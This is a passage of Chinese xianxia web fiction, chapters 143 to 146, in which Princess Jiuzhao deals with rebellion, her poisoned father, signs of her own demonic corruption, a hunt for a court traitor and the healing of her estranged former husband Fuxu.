“焚业海真的是太有心机,太可恶了!” 绛玉还在忿忿不平地嚷嚷,“也是当初帝座心肠太软,若将他们举族皆灭,也不会发生这么多意外!” 作为陪伴九昭多年的贴身女婢,绛玉没那么多头脑和远见,唯独一颗真心拿来献于九昭。 在她的眼里,焚业海频频发动战争,眼下还害得三清天陷入动荡,简直是万恶源头。 彻底消灭方为正确做法。 而清楚内里真相的朱映,却不由得陷入沉默。 片刻过去,他微微启唇:“你们两个,去离恨天的入口处守着吧,万一有紧急军情,也可及时来禀。” “殿——” 绛玉意欲再说些什么,袖口被身旁的缃璧攥紧: “殿下这边就劳烦仙官您先照看着,我和绛玉马上就去。” 接下差事,两人一个在前一个在后,抬步离去。 “诶,你为何不让我说了——” 风里,依然混合着绛玉模糊不清的嘟囔。 转而被缃璧坚定清明的音调盖过:“你要谨记身份,这不是我们能置喙的东西——殿下是三清天储君,又潜心修习多年,哪怕悲伤,也定能很快恢复过来,有她坐镇,我们要相信风波很快会平息下来。” 朱映安静地凝神听了几息。 待她们的身影消失在檐廊转角,方苦笑道:“……只怕后面还有更糟糕的事。” …… 诚如朱映所料。 接下来的几日,厄运接连发生。 东神王的倒戈,带走了东原的全部人族神仙。 而北境的情形更为艰难,北神王统管的众族全部叛乱。 他们不仅释放并带走了关押在黄金囚牢的毓灵金仙,还族灭了这些年颇受神帝看重扶持的腾蛇一族。唯有腾蛇族长的儿子怀江仙君,由忠心耿耿的守卫拼死杀出一条血路,送出了北境,来到三清天安置。 九昭派了数位医官,好好照顾这位尚未举办成人礼,就遭受重创的悲惨少年。 转头继续密切关注战况。 两境夹击,且早有准备,扶胥仓促召集的仙兵攻守艰难。 更要紧的是,他们仿佛是三清天肚子里的蛔虫。 九昭这头每次秉烛夜谈,研究探讨出新的战术,没过多久就被叛军轻易攻克。 败。 复败。 三败。 最后东原虽叫扶胥出其不意一波进攻抢了过来,北境却是彻底沦陷,沦为了焚业海的囊中之物。 巫劭从容越过边线,回归自有领地。 还顺势扩展了一大块地盘。 紫微宫内,所有人面带阴云。 谁都能看得出来,三清天内鬼尚未除尽。 战事失利,泰半原因归咎于此。 可叛军已然离开,内应还留在这里,就说明对方藏得很深,轻易不会被发现。 神王叛乱,三清天四分五裂。 人心本就岌岌可危,倘若再贸然调查询问,九昭又恐再生分裂猜忌。 她一时没有头绪。 忙得焦头烂额,彻夜难免。 集议结束,照例来到寝宫看望父亲。 得益于南神王连日输送神力,神帝的中毒之相缓解不少。 奈何迟迟难以醒转。 九昭每日都在向祖神祈祷,父神能够苏醒过来,把控局面。 寝殿内唯有杏杳和几位医仙在侧。 中毒者时有变化,身边离不开人,南神王又要议政,又要为神帝治疗。常常感到分身乏术,杏杳便自告奋勇从神医署搬了过来,昼夜看顾神帝,剖析毒性,研究治方,皆在寝宫角落的书案上进行。 九昭坐在床沿,看过神帝的面色。 见他闭目宁和,气息平缓,回头对迎候上来的矮个医仙道谢:“这些日子,多亏你和南神王了。” “臣愧不敢当。” 危机时刻,彼此都没有打趣对呛的心情。 杏杳素白的面孔带着歉疚,“烛龙之毒,着实复杂,集合了三清天鸾鸟的火毒迅烈和焚业海魔蛟的水毒阴柔,一般后嗣降世,身上只会呈现父母其中之一的特性,偏偏它两道特性都有,火中有水,水中有火。 “两毒相遇,威力加倍,实在是很棘手。” “所以,对于什么时候才能将父神治好,让他醒过来,你也没有把握,对吗?” 九昭平静发问。 杏杳没有立即回答,对上九昭的目光,她踌躇半晌,说道:“是,臣没有把握……也许,从焚业海密谋毒害帝座开始,他们便确定了此毒无药可解……另外,虽然输入神力能够抑制毒性蔓延,但三清天的上神本就不多,他们轮流为神帝回输大量神力,也会导致力量渐空,神境跌落。 “与焚业海的战役,不知何时会彻底打响,如此耗费上神之力下去……不是、不是长久之计。” 143| 第143章 ◎“殿下,您的眼睛——”◎ “你到底想说什么?” 九昭维系平静的神色, 陡然变得冷凝。 不知何时起,她亦具备了一位君主应有的威仪。 甫一展露发怒的先兆,殿内侍奉着的仙官女婢即刻战战兢兢跪了满地。 可杏杳不同。 她生性耿直, 又得神帝庇护, 无视礼数,自由散漫多年。 此刻对面九昭山雨欲来的阴冷眸光,仍然迎难而上说道:“臣想说,臣这些天仔仔细细地思忖过了, 遏制帝座体内的毒性蔓延,每一日都要耗费许多神力。三清天的上神数量有限,把每一个都算上, 顶多也只能在不损害他们战力的情况下,确保帝座一月内性命无虞—— “若一月期限过去,神医署还是束手无策,为了保证三清天的稳定运转, 也只能忍痛放弃帝座。” 话音如针落地。 举众阒寂无声。 九昭骤起, 勃然变色道:“大胆!你竟敢以下犯上!” “就算殿下即刻将臣拉出去, 施以雷罚之刑,臣也必须得说。” 九昭的诘问紧随其后:“放弃父神, 三清天落入群龙无首的局面, 谁来主持大局,你吗?!” 杏杳双膝一弯, 下跪在神帝床前。 双手交叠高举过头, 做出谏言模样。 唯独脊背保持笔直, 宛若受到风雪催逼, 依旧宁折不弯的青竹:“从殿下您受封为储君开始, 就应该提早预想到这种可能性的发生——一个国家可以不断更换君主, 却不能放任臣民凋零。” “研制解毒之法,救君主于危困,这本该是你们神医署应尽的本分!” 九昭指着她的鼻子喝道,“现在你们不为自己的无能感到羞愧,还敢在本殿面前推卸责任!” 杏杳垂下眼睫:“是臣的错,殿下怪责,臣亦无话可说。 “一月之后,倘若臣还是束手无策,殿下要杀要剐,臣都静听天命。” “那你为何不速速下去,加紧研制,非要对着本殿,说出这等诛心言语?” 总归还有时间,并不是让她立刻做出决定。 九昭缓了缓急促的呼吸,将内心翻涌的愤怒和无力镇压下去。 得益于往日同为一个阵营的情谊,她难得主动地给了杏杳台阶下。 奈何,对方无视侧畔频频对她使眼色的副医令,再度扬起面孔,不卑不亢道: “那是因为,臣冷眼旁观了多日,发觉殿下还将自己放在储,而非君的位置,总觉得不管任何事,哪怕天塌下来,只要帝座醒过来,便能为您顶着——臣揭破这点,只想提醒殿下,您肩膀上的责任何其沉重。 “还有,臣听说,当日桃林战役的失利,也是殿下对那巫劭伪装出来的兰祁心软。 “才会导致阵法没有将其束缚,最终酿成如今三清天四分五裂的局面。” “医医医医医仙令,您快别说了——” 从杏杳益发慷慨激昂的言辞里,副医令窥见了整个神医署上下人头落地的画面。 饶是知晓此刻没有自己插话的余地,他不得不冒着生命危险,出声缓和气氛。 “让她说!” 细若蚊蝇的嗓音响起没一息,又被怒意层层攀高的九昭驳斥回去。 “一个合格的君主,心中何来小我?私人的情感心绪,更是半点也有不得。 “错误既已犯下,万望殿下以后能谨记教训,只以三清天的臣民为重。” 杏杳的嗓音仿佛挥之不散的阴云,将九昭笼罩其中。 千字万句,交汇成一句话。 今日的局面,全都是她造成的。 两位神王的背叛,是她造成的。 瀛罗以身挡剑的赴死,是她造成的。 父神中毒昏迷不醒,三清天内忧外患,亦是她造成的。 …… 可凭什么呢? 倘若父神母神没有为爱不顾一切在一起。 巫劭会愤而率领凤凰族堕天吗? 倘若他们不为着收回凤凰真血,而培养兰祁作为器皿。 又假借父母亲人的名义,欺骗他千年,他会悔婚弃诺,暗地勾结两位神王吗? 再往前点说—— 倘若三清天不是如此表面浮华,内里腐朽—— 那本该成为一代名将,为仙族鞠躬尽瘁的巫逐,会不息拿生命来抗争作对吗? 晦暗的念头只要撕开一个角。 便如泄闸的洪水般奔涌而出,怎么拦也拦不住。 耳旁,杏杳还在自顾自地说着。 闭嘴。 闭嘴。 闭嘴! 无数狂乱的嘶喊自心底发出。 九昭分不清,自己究竟想让充满负面情绪的念头回归受控状态,还是想让杏杳停止道貌岸然的说教。 意志回神之时,她的掌心已然凝结出打神鞭。 一鞭将跪着的杏杳抽了出去。 砰! 女仙娇小的身姿与厚重的殿门相撞,随即摔落下来,捂着胸膛呕出一口鲜血。 戍守在外的统领和仙兵们,亦被这道遽然出现的动静所影响。 不顾一切推开殿门,带着武器冲入内里:“殿下,可是帝座情况有异——” 话没说完,领头的统领目光一阵变幻。 像是看到了什么可怕的怪物,握紧刀鞘猛地后退一大步。 “殿、殿下,您的眼睛,您的眼睛——” 手边并无铜镜,九昭被统领惊恐错愕交织的语气,弄得摸不着头脑。 然而没过多久,他的这种惊恐又逐渐传染了身后所有护卫的士兵。 九昭心底一沉。 “咳咳。” 这时,蜷缩倒地的杏杳,单手支撑站了起来。 她对九昭的异样,表现出冰封一般的平静。 转头擦去嘴角血迹,以三清天重臣的身份命令道,“帝座并未遭遇威胁,你等收起兵器退下吧,方才的声响,不过是殿下与我讨论帝座的病情,担忧起来,一时激动所致。” “……是。” 意识到自己的失态,统领赶紧将头低下。 不再以无礼的姿态,直视病床旁的未来神帝。 他抬起左手,向仙兵比了个手势,示意收队撤退。 又被杏杳唤住:“等等,今日发生在帝座寝宫内的事情,涉及过多——本官虽相信你们对于帝座的忠诚,但兹事体大,为了防止泄露,你们便在殿下和本官面前立下守口如瓶的毒誓。” 神仙的誓言不比人族。 立下若不实现,后将遭遇因果的报应。 而毒誓更是重中之重,一旦反悔,许诺的报应便会立刻施加在身。 九昭从方才外入者的反应中,隐隐猜到了真相。 眼下见杏杳不计前嫌,替自己想得周到,情绪不禁益发复杂。 …… 亲自监督在场的统领仙兵,乃至医官女婢一一发过毒誓。 杏杳转身,对着恢复镇定,坐在神帝床沿,敛眸不知在想些什么的九昭说道:“每一个人,臣都亲眼见证了誓言生效的印记在他们手腕上出现,殿下大可以放心。您也乏了,今日不如早点回去休息。” 九昭轻轻颔首。 为了掩人耳目,也急于印证自己的猜测,她特地开辟了一条直达离恨天寝殿的传送阵。 一阵华光闪烁,唯有侍立在殿宇附近的绛玉缃璧得知她的归来。 “殿下!殿下议了半日的事,可是累了?” “奴婢马上命人去给您奉上茶点。” 清楚九昭心情不好,两位女婢没有贸然进入。 她们小声叩门两下,关怀之意不言而喻。 九昭回来后,便坐到了梳妆台前。 对着镜子,她没有立刻抬眸。 沉默片刻,才朝外道:“都不用,我要小憩一会儿,你们别来打扰。” “是,殿下。” 待到万籁俱寂时,九昭长垂的睫羽颤了颤。 她望向铜镜里的自己,从下颌的轮廓开始。 慢慢往上,唇面略显苍白,不复往日玫瑰口脂覆盖下的旖旎。 掠过挺拔小巧的鼻尖,和落满浅青,显露疲态的下睑,九昭终于瞧见了引得仙兵如临大敌的眼睛。 那无疑是一双很美的眼睛。 眼黑与眼白的比例恰到好处。 线条收至尾梢初,微微上挑。 居高临下时显得气势十足,顾盼流转间又透着万种柔情。 九昭看过这张脸太多次。 多到哪日某处横生一条细纹,她都能立即察觉。 因此,也为瞳孔中四散渲染的红意,屏住了呼吸。 红瞳。 是入魔的标志。 平素魔族的发色瞳眸有万种形态。 唯独战意昂扬,心绪激烈时,会显出如血的鲜红。 难怪。 难怪—— 他们会害怕成那副样子。 九昭就近盘坐在木椅上入定,深入识海,探查自己的心魔状态。 果不其然,那小小的、如影随形的一抹黑色, 又流窜在心脉间,跃跃欲试着,试图彰显其存在感。 最近疲于奔忙,九昭已许久没有打坐压制过心魔。 它在她的意料内壮大了一点,深入细究,拥有的力量却超出合理范围数倍。 九昭顿觉吃惊。 她不敢再马虎,运转仙力,深入四肢百骸的每一条脉络。 经久之后,终于在丹田处发觉了不对劲。 随着修为不断进益,她丹田四周封印神力的枷锁已然松懈许多。 否则,九昭当日轰击桃林的禁制,也不会那么顺利。 丝丝缕缕的神力,围绕圆核状的丹田舒展游走,青蓝色的光亮胜似一碧万顷的海面。 越是精纯的力量,所呈现的颜色也会越发梦幻美丽,如同匠者雕琢的最完美作品。 是而,一旦有白璧微瑕的情况发生,便会显得异常刺目。 九昭于神力中,捕捉到一丝若有若无的黑气。 她同黑气的主人朝夕相处过近百年岁月,堪堪一个照面将其认出。 巫逐。 针对现状,九昭仅能推测出一种可能。 那就是当日,凤凰神树内,自己孤注一掷,引得巫逐动情舍生,用最后的力量冲击丹田。 破开桎梏,半身神力喷发的同时,他的魔气也混入了其中。 九昭尚未领悟成神的真谛,在接近神术的领域,仍有诸多不明了。 她思来想去,都参不透巫逐到底使用了何种秘法,竟能够污浊本应纯净无匹的神力。 …… 镜面澄然,纤毫毕露。 九昭聚焦目光,缓慢探出指尖,抚摸着红迹未褪的双眸。 不禁苦笑。 有些人虽死了,却仿佛一刻都不曾离开过她的身边。 144| 第144章 ◎“本殿必须清楚地知道你的内外情况!”◎ 九昭在镜子前坐了一夜。 奈何直到天亮, 她眸中的红意依旧未褪。 当下局势紧急,特别是军情,每一息都有千变万化的可能。 她作为三清天的掌舵者, 不可能为着身体的几丝异样, 就推脱不去集议。 无奈之下,九昭只好仿照自己当初对巫逐的做法——找来透光的白绸裁成长带,遮盖双眸,循着光影的变换, 她勉强能够瞧清咫尺间的事物轮廓,至于更远处,则依赖仙识“视物”, 以免被人察觉红瞳。 对外,只宣称神帝的病情迟迟未见起色。 神姬殿下日夜悬心,再加上哀伤和过度的疲惫,有些伤了眼睛, 畏惧遇光。 九昭的操劳, 整个三清天都看在眼里。 一时之间, 倒也无人说三道四。 瞳孔无论如何都无法隐去的鲜红,令九昭烦恼, 而迟迟抓不到的内鬼, 更叫她心火焦灼。 她尝试了许多办法,譬如叫两位神王联手, 加固紫微宫周围的神力屏障;譬如换个殿宇, 集体挪去离恨天议事;再譬如, 就同一件事, 给每位臣子下达不同的命令, 看到底哪条命令会传到焚业海去。 可内鬼就像是她肚子里的蛔虫, 敌人的制谋策略,依然根据她内心真实的想法而精准调整。 战事的连连失利,使得三清天的气氛愈发低迷。 最后,九昭将目光对准了自己,审视起问题是否源于自身。 她思来想去,最担心的是当初兰祁借助魇术拉她入梦。 趁着她仙识寄居于他记忆的过程,在她的识海里做了手脚,好时刻读取她的记忆。 为此,她还专程找到南神王,施展神力里里外外检查了一遍大脑。 结果依旧是并无异样。 九昭终日阴沉。 直至下移的视线,带着几分犹豫,望向胸前从小佩戴到大的长乐命牌。 母神是凤凰族的女君,实力放眼三清天亦是数一数二。 命牌由她遗留的神力雕刻而成,想要修改禁制或是增减点其他手段,照道理来说,唯有九昭这位与之血脉相连的亲女才能做到——只是说到血脉相连,作为母神同胞弟弟的巫劭何尝不是? 他占据了兰祁的身体,兰祁的体内又流着他的凤凰真血。 与长乐命牌上的神力一体同源。 九昭素来爱惜母神的遗物,唯有为了方便杏杳随时查探祝晏的病情,短暂将命牌留在了神医署。 就算祝晏身后的九尾狐族,早就与焚业海暗中勾结,杏杳仙力不低,只差半步成神。 转移改动命牌,定会引起她的察觉。 除非—— …… 几日后。 在又一次聆询到仙军的失败后,九昭垂下面孔,疲惫地捏了捏眉心。 有白绸覆盖,她看不清诸臣的神情。 却能够精确捕捉到萦绕在紫微宫中,挥而不散的悒悒之气。 她默言几息,当机立断下达命令:“这样下去不是办法,得把扶胥召回一趟,听他汇报具体情势才行。” 话音既出,众臣面面相觑。 “殿下,万万不可!” 阶下,立马有人提出反对意见,“按照现状,倘若扶胥上神贸然回朝,只怕会给敌人以可乘之机。” “那你待如何?” 九昭怒然以对,“抓出内鬼的事情没有进展,其他都不用做了吗,眼睁睁看着三清天一败涂地?” “这——” 那人动了动嘴唇,一时说不出话。 还要再劝,九昭却起身掷地有声道:“我意已决,不必多言。” 然而三日过去。 月到中天,更漏无声。 本该扶胥回归的夜晚,渡引仙君并未迎来他的身影。 反倒是边境再起战火。 焚业海三万魔族,在凤凰族长无咎的带领下,趁夜偷袭,企图再攻一境。 大军借着夜色掩映,兵临城下,却被提早做好准备的仙族们打了个措手不及。 扶胥率兵乘胜追击,鏖战一日一夜,打得将领无咎重伤,一位魔族长老连同两位城主战死, 这是连日对峙以来,三清天第一次获得胜利。 焚业海此战被伤了元气,接下去的一大段时日,只能被迫偃旗息鼓。 庆祝的第二日夜晚,扶胥没有出现在庆功宴上。 无声无息回到了辟蒙宫。 扶胥作风简朴,整座宫殿没有令设宫人奴婢,侍奉者皆由他近身的军士构成。 他前去作战,军士们自然仗剑相随。 此刻殿内空无一人,唯余两盏烛火憧憧,越发衬出与宫殿主人相近的肃穆孤寂。 九昭便身着常服,通身无饰,坐在正殿主位上,与他默然相见。 彼此照面无话,九昭也不复白昼时直腰挺肩,不怒而威的神姬风仪。 她一手撑着下颌,一手拾起银剪,剪断了燃烧时间过长,而出现分岔的烛心。 “你回来了?” 九昭漫不经心的一句话,令扶胥莫名想起他们尚未断契的某个午后。 他处理完军署的事务归来,而她伏在长案上,手中握着书卷,不小心睡了过去。 被他推开殿门的响动扰醒。 纤细洁白的指尖,揉碎上挑眼尾处的红意。 她散着漆黑的长发,不戴任何珠玉。 瞧见他逆光踏入寝殿的身影,说的也是这样一句话。 ——你回来了? 如同芸生世最凡俗寻常的一对夫妻。 “坐吧,此次面谈需要秘密进行,因此只得你我二人。 “无侍婢在旁奉茶,还望扶胥上神勿要介意。” 九昭顺口接下去的第二句客气之言,却将扶胥拉回冰冷现实。 迷离的美梦在眼前破碎,时光于刹那褪色风化。 扶胥聚焦视线,首先看到的,是一抹遮去她灵动目光的纯白。 有诸多关切于心口涌现,又徘徊在唇边。 可他什么也没说。 只是郑重其事地双膝跪地,交臂叩首,恭敬道:“臣扶胥,拜见神姬殿下。” 九昭愣怔一瞬。 上神地位尊崇,按礼只需跪拜神帝,无需跪拜储君。 是啊。 父神昏迷。 她虽名为储君,实则行使的,是属于神帝的权力。 哪怕断契恢复到形同陌路的关系,他依然在这种细节处,不动声色地提醒她勿忘肩上的责任。 九昭再一次于沉默里,体会到某种细密的、无力的痛楚。 很快,她调整了好无人可诉的落寞表情,抬手示意扶胥免礼:“是本殿不好,上神运筹帷幄,费劲辛苦打下一场胜仗,却连庆功宴都没法参加,还要深夜被紧急召回三清天,与本殿共议要事。” 扶胥旁行几步,坐在主位下首,静静敛眸: “臣此前连番指挥失利,殿下都未曾责怪。这一次不过亡羊补牢而已,实在当不得殿下的夸奖。” 九昭不想耽误他休憩的时间,直接进入主题:“怎么样,经过此次交战,你可有摸清敌人底细?” 青年道:“若殿下信任臣,臣认为,前端焚业海的数度进攻,一方面是急于抢夺北境,彻底将仙军驱赶出去,另一方面,是在试探三清天的虚实。品尝过失败的滋味,他们也认清了一点,纵使巫劭重新复活现世,眼下的焚业海,能吞并北境已是勉强,想再攻打下去,直捣紫微宫,他们还没有那个实力和底气。” “那你觉得,此战之后,焚业海不会再集结军队,试图冲破交接边境?” “是,起码短时间内不可能。” 扶胥微微颔首,肯定了九昭的结论,再度拱手道,“另外,目前为止,尽管在北地境内屡遭挫折,所幸我军最精锐之伍,依然保有最大程度的战力,是否要进行反攻,还请储君示下。” 将手里的银剪搁在一旁,九昭用指腹摩挲下颌,陷入思忖。 片刻后,她断然道:“先按兵不动,本殿已猜到三清天的内鬼是谁,且打算利用那人给巫劭和焚业海一计教训,只是目前还差了一步——我军需要些许时间休整,我的计划也需要防止内鬼狗急跳墙。” “是。” 不管进攻亦或防守,扶胥早已在颅内想好了后续计划。 对于九昭的决断,他并无异议,甚至识趣到连追问内鬼是谁都无。 抛开旧日伴侣的关系,单从君臣的角度,九昭倏忽明白了为何他会受到父神的全然倚重。 君询臣奏的一步结束。 九昭又惦记起,当初是他在和兰祁的对峙中被暗算受伤,父神才会御驾亲征。 才归来休憩了没多久,他再次被自己给派了出去。 面对鞠躬尽瘁的忠臣,于公于私,关怀一下他的身体都是很有必要的。 对方是否不近人情是一点,自身继续表态又是另一点。 于是,她放缓语调,不复初时的严肃:“你上次受的伤,都好全了吗?不要再拿‘区区小伤何须殿下过问’敷衍我——你是国之重臣,安康与否牵系诸多,本殿必须清楚地知道你的内外情况!” 扶胥面上的不自在一闪即逝。 而九昭双眼覆着白绸,本应关注不到他的神容变化。 奈何扶胥组织言语的间隙太长,临了回答她的话,又过于“言简意赅”:“臣无碍,还请殿下放心。” “……” 心魔不断壮大扩张。 九昭本就不多的耐心相比从前更少。 只要不是傻子,都能听出对方话里的搪塞之意。 她一声不吭瞬移到扶胥侧畔,弯腰俯身—— 考虑到彼此已然断契,不复过往的亲密无间。释放仙力深入扶胥的脉络探查,极有可能会被神力抗拒排斥,九昭干脆选择最简单粗暴的方式,扒开青年身上的盔甲,再一勾一挑,解散他的内衫。 “殿、殿下,您——” 沉稳如山的扶胥上神,难得也会有舌头打结的时候。 他伸手试图阻止九昭,却如战败的士兵般节节撤退,以致于被彻底扒了个干净。 近距离的观察,九昭的双眼能够看清轮廓。 精壮的肌肉块垒,因着不稳的心绪而收缩起伏。 胸膛饱满,锁骨嶙峋,手肘以上的部分倒是不见异常。 九昭将扶胥阻挠的双手狠狠分开,摁在座椅两旁,视线继续逡巡向下。 果然。 积蓄力量,线条优美如同山壑的腰腹部上,结结实实缠绕着几圈白布。 靠近肋骨的下方,还隐约渗出连白绸都遮盖不住的鲜红一片。 145| 第145章 ◎“若今日换了别人,殿下也会如此吗?”◎ 熟悉的涅槃凤火气息, 从扶胥白布遮盖的伤口后方弥散。 五行之中,木系本就被火系克制。 不吸收火灵,外伤通常很难快速愈合。 九昭细算了算, 从她得知扶胥在仙魔交战中受伤, 到如今,差不多两个月过去。 连体表的伤口都是这样,可想而知,内伤也不会恢复得多好。 九昭当机立断, 松开扶胥的手臂,并指为刃,将碍事的白布割断, 贴在伤口上方,开始为他疗伤。 布帛碎裂的撕拉声过后,仙力蕴藉的灼热手掌迅速靠近。 感受到对方高于己身不少的体温,扶胥直如被拖网捕捞上岸的活鱼, 腰身剧烈一震。 “殿下, 这不合体统——” 九昭另一只按在扶胥胳膊上的手无声收紧, 示意他不要乱动。 白绸之下,她的眸色稳静, 语调亦波澜不惊:“上神不是不清楚三清天的现情, 若想提高对战巫劭的胜算,本该派克制火系的水系上神过去, 但夜神夕寰负伤闭关, 西神王又在不久前痛失爱子, 心绪低迷——” 说到“痛失爱子, 心绪低迷”, 她的神容飞快闪过一丝悲痛, “其他上神或是不善战,或是年纪老迈,而当中神力仅次于你的火神朱曜,我于事发当日,便遣人造访过他的府邸,得到的答复,依然是上神仍在勘悟神境,不便打扰……三清天不能再失去你,你须得健康的身体全力以赴才行。” 先前,扶胥以叩首大礼,提醒九昭要慎重担负责任。 此刻,九昭也以时局现状,相挟他顺从就范。 她第一次尝试“以夷治夷”,效果却甚是不错。 扶胥抿紧薄唇,不再言语,紧绷的躯体亦对她尽量放松。 见状,九昭加大仙力输出,继续得寸进尺:“待吸收完附着在伤口深处的火灵之后,我们合修。” 石破天惊的言语一出。 扶胥连沉稳的表情都维持不住。 几缕狼狈的暗红晕染下睑,消融掉高岭之花只可远观,不可亵玩的冷肃。 他忍了再忍,终是难以忍耐:“殿下此举,也是纯粹为了三清天的战事顺遂吗——” 九昭装作听不懂他的意思,化身一具没有感情的木偶,手上动作不停,反问:“不然呢?” 扶胥被她噎得顿住。 未道明的语意如鲠在喉。 在接下去的彼此缄默里,他忍不住想:既然不该说的话已经说了,索性破罐破摔,多说几句。 便别开视线,用更低的声量问道:“倘若今日换了别的将领负伤……殿下也会如此吗?” 才暗自夸奖过他的识趣不多问,眼下也未知是突然犯了什么毛病。 好不容易,九昭才将所有的软弱、动摇和哀伤封锁起来,只满心满意投身在政务当中。 她不愿谈论任何私情小我,于是毫不犹豫地回答道: “那要看是谁,假设那人的存在价值,同上神你一般重要,那么我也会的。” 扶胥再次说不出话。 九昭终于变成这样—— 终于变成了他期待里,那个绝对理智,不被儿女情长所困囿的君主。 他却不知该欣慰还是酸楚。 无言之间,他突然意识到,自己永远失去了某一部分的她。 或许,连她自己也失去了。 …… 将当中的利害关系全部剖析出来,呈到面上。 扶胥再也不曾表现过任何抗拒。 吸收完火灵,两人一前一后,缓步在通往辟蒙宫寝殿的廊道中。 入殿,九昭照旧点亮两盏不甚明亮的烛灯。 让帘幔掩落下的昏暗阴影,为彼此的心事覆上一层藏蔽的轻纱。 她与扶胥面对而坐。 旧日情景再现,浓情蜜意早散。 她令扶胥阖眸,引出自己的仙力注入到扶胥的额心。 治愈之源,自灵台生发。 下滑四散至百脉千络,所经之处,吞噬火毒,润泽患迹。 越是往后,九昭心中越是讶异。 她原以为这次疗伤会不顺利,以至于帮助扶胥放松神魂的秘药,都在储物戒中备下几颗——毕竟,合修虽未点明必须夫妻双方才能进行,但关系未至相隔无间的地步,想要卸下防备,彼此接纳总是很难。 她已与扶胥疏离百年。 常言道,因怨断舍的夫妻,过后连陌生人都不如。 许久不曾交心,扶胥身魂对她的敞开包容程度,恐怕一些白头爱侣都难以企及。 但讶异,也仅仅是讶异。 九昭再度凝神,隔断了逐渐滑向不该涉及之地的思绪。 …… 相较九昭这头的坐忘无我,扶胥却是心腔躯壳,皆滋生出罪恶的火热。 他按照九昭的吩咐闭上双眼,脑海是他们过去合修的场景。 神魂交融的滋味,是其他无数的肤浅快乐不可代替的。 每当合修的结束,九昭总会如同一捧澹然生波的春水般,流淌在他怀里。 她明亮的眼眸,温暖的皮肤,带着玫瑰芬芳的唇瓣,均是铺天盖地的罗网,将他引入欲望之境。 色授魂与。 极乐无尽。 可这样逾越的幻想,不该出现在他的念头里。 他们早已不是夫妻。 于治疗的过程中,肖像仁慈垂怜自身的女君,等同犯下应当千刀万剐的罪行。 心神无论如何,也无法平静。 他趁着双方视觉受限,将手探向腹部,狠狠摁了几下伤口,企图借助剧痛清醒。 结果依旧无用。 被绮念折磨得快要喘不过气,扶胥只好正好睁开眼睛。 又不知眼睛究竟该落在何地。 飞快下滑的视线,不经意掠过九昭胸口时,他控制不住,被那片空荡荡的雪白吸引。 她没有佩戴贴身不离的长乐命牌。 是嫌弃自己从前情难自抑,将其含在口中过吗? 该死,他到底在想些什么—— 气氛越来越不对劲。 特别是合修的另一方,眉目始终平和。 明显的对比,反衬得他像是个气血方刚的毛头小子。 扶胥一壁接受仙识侵入,一壁结巴着开口:“殿下的眼睛,怎么了,很美……为何现在会用白布覆上?” 殿下的眼睛怎么了。 为何会用白布覆上。 这两句,九昭还能勉强将其当成臣下对于君主的关心。 ……至于“很美”。 九昭的眼珠在纤薄的眼皮下动了动:“无妨,连日操劳,有些伤了眼睛,过几天就会好的。” 她也用上了搪塞他的借口。 被扶胥异样的状态影响,九昭没法游刃有余地完成合修。 仙力将将运转完一个周天,她立刻将仙力撤了出去。 只见事物轮廓的白绸,阻挡了扶胥意犹未尽、怅然若失的双眼。 沉吟几息,九昭复言:“内伤总要接连合修几日,才能治个囫囵,你便暂时留在三清天。另外,把你的本命神器交给我,我想着,或许将我的一丝本源之力注入其中,能够帮助你抵挡涅槃凤火的侵袭。” …… 九昭连轴转的生活更加繁忙。 白日,她要与群臣议事、批改奏章、维系三清天的平稳运转。 夜晚,同扶胥合修结束,她还要抽出几个时辰,研究如何为扶胥的斩晦剑“附魔”。 当初她与瀛罗同为天仙,玉剑又正逢破碎,力量不继,这才使得修复前后无比顺利。 扶胥的斩晦为神器,剑器内部又无缝隙可寻。 九昭为其注入力量,实打实耗费了数倍的力气。 改造告一段落,九昭呼出口气,草草揩去额头的汗水,便来到案前,从公式文书的底层抽出封密信。 揭开外皮漆印,将内里折叠的薄薄纸张摊开,她用指尖抵住,刹那间,信纸散发光芒。 无数同样闪着光的缩小文字,自她扩散的瞳孔间穿梭而过。 九昭在看的,正是这些日子,她秘密命人搜集的内鬼过往。 神仙寿数漫长,越高阶的神仙,生平的事迹越是可以编撰出几本厚厚书册。 冗长的文字中,九昭精准捕捉到要紧信息。 “三万岁成人礼结束,由俱为天仙的父母做主,与凤凰族第三长老的次子订下婚事。 “订婚前,只见过一面,没有任何感情基础,婚事俱为双方长辈商议约定。 “未及下聘,凤凰族叛天,女方火速退婚,并公开严正谴责,与之彻底划清界限。 “仙魔战争爆发,其作为随行医官奔赴战场,更在危急时刻,使用仙术毒杀凤凰族将领,助力仙族大军扭转局面。也因此,受到将领临终的血誓诅咒,面容身姿永远维持在女童和少女的转变之间。” 将密信阅读完毕。 九昭不得不承认,单从这段过往来说,内鬼与魔族,特别是凤凰族,应当有着不共戴天的仇恨才是。 然而,多数事物看似天衣无缝的表象之下,往往会另藏玄机。 利用仙术将生平信息镌入脑海,九昭指尖随即燃起一把火,将密信吞噬殆尽。 她犹豫起是否要在倒推出真相前,下令投内鬼入囚仙之狱。 奈何对方一手医术出神入化,素有名望,又是潜心救治神帝,刚正不阿的功臣。 若没有直接直接的证据,就令其下狱。 一个不好弄巧成拙,只怕自己这位根基未稳的储君会被众臣抨击。 …… 又是一夜无眠。 九昭反反复复回想着封存识海的内容。 企图寻找到内鬼与魔族勾结传递消息的原因。 她一心多用,且分了大部分注意力于此中,起先并未发现有隐秘的传言,流窜于一清天散仙之间: “诶,你听说了吗,九昭殿下目覆白绸之事的真相——” “什么真相,不是说乃哀痛操劳过度所致,治疗几日就会好吗?” “这鬼话你也相信?你也不看看都过去多少天了,殿下眼睛上的白绸摘下来过吗——而且,据我任职于神医署的二姑妈家的四表弟的姊妹所说,殿下根本没有召见过任何仙官为自己医治!” “……殿下每日都去看望帝座,杏杳大人便在那里,让她顺便治了不就好了吗,何必多此一举。” “你知道个屁!真相就是从那里传出来的,当日所见储君绸下真容的统领和仙兵们,都被强迫立了血誓,若只是简单的哀痛逾甚,双眼受伤,何至于做到如此地步?” “别卖关子,你要知道什么,就直接说!” “既然你非要听,就站好了,千万别被吓到—— “据说,殿下是因为心魔滋生,难以自抑,所以出现了两眼赤红的入魔征兆!” …… 待到传入九昭耳畔时。 流言已然愈演愈烈,甚嚣尘上,全面渗进了三清天紫微宫。 146| 第146章 ◎“她知道自己赌对了。”◎ “今日先议到这里, 若无其它要事,诸位各自散去吧。” 为表对于父神的尊重,九昭没有坐上紫微宫最高处御座。 她命人在御座正前方置了把椅子, 此刻起身敛衽, 代表又一日的集议结束。 正欲离开,阶下立在打头扶胥身后的嶷山,持笏走上前来:“殿下,臣有事要禀。” 因着九昭的筹谋得当, 三清天好容易打了个漂亮的翻身仗。 